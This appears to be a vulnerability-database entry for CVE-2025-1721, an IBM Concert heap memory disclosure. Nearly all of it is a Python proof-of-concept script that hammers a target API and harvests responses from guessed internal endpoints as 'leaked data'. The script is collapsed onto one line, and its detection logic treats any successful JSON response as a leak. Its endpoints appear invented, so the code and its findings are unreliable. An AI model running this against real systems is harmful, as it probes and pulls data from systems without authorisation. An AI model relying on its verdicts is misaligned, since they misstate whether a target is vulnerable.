CVE-2025-1721 IBM Concert 堆内存信息泄露漏洞

# CVE-2025-1721 PoC - IBM Concert Memory Information Disclosure # This PoC demonstrates the memory disclosure vulnerability in IBM Concert # Note: This is a conceptual PoC for educational purposes only import requests import json TARGET_URL = "https://target.ibm.com/concert/api" CVE_ID = "CVE-2025-1721" def check_vulnerability(): """ Check if target is vulnerable to CVE-2025-1721 """ headers = { 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2025-1721-Scanner)', 'Content-Type': 'application/json' } # Step 1: Trigger memory allocation through normal API operations session = requests.Session() # Step 2: Make multiple requests to allocate heap memory for i in range(10): response = session.get(f"{TARGET_URL}/v1/data", headers=headers) if response.status_code == 200: print(f"Request {i+1}: Memory allocation triggered") # Step 3: Attempt to access potentially leaked memory via specific endpoints leak_endpoints = [ f"{TARGET_URL}/v1/cache", f"{TARGET_URL}/v1/session/data", f"{TARGET_URL}/v1/internal/memory" ] leaked_data = [] for endpoint in leak_endpoints: try: resp = session.get(endpoint, headers=headers, timeout=10) if resp.status_code == 200: data = resp.json() if data and len(str(data)) > 0: leaked_data.append({ 'endpoint': endpoint, 'data': data }) except Exception as e: print(f"Error accessing {endpoint}: {e}") if leaked_data: print(f"[+] Potential memory leak detected!") print(f"[+] Leaked data samples: {len(leaked_data)}") return True, leaked_data else: print(f"[-] No obvious memory leak detected") return False, None def main(): print(f"[*] Scanning for {CVE_ID}") print(f"[*] Target: {TARGET_URL}") vulnerable, data = check_vulnerability() if vulnerable: print(f"[+] Target is VULNERABLE to {CVE_ID}") print(f"[+] Leaked information found") else: print(f"[-] Target appears NOT vulnerable") if __name__ == "__main__": main()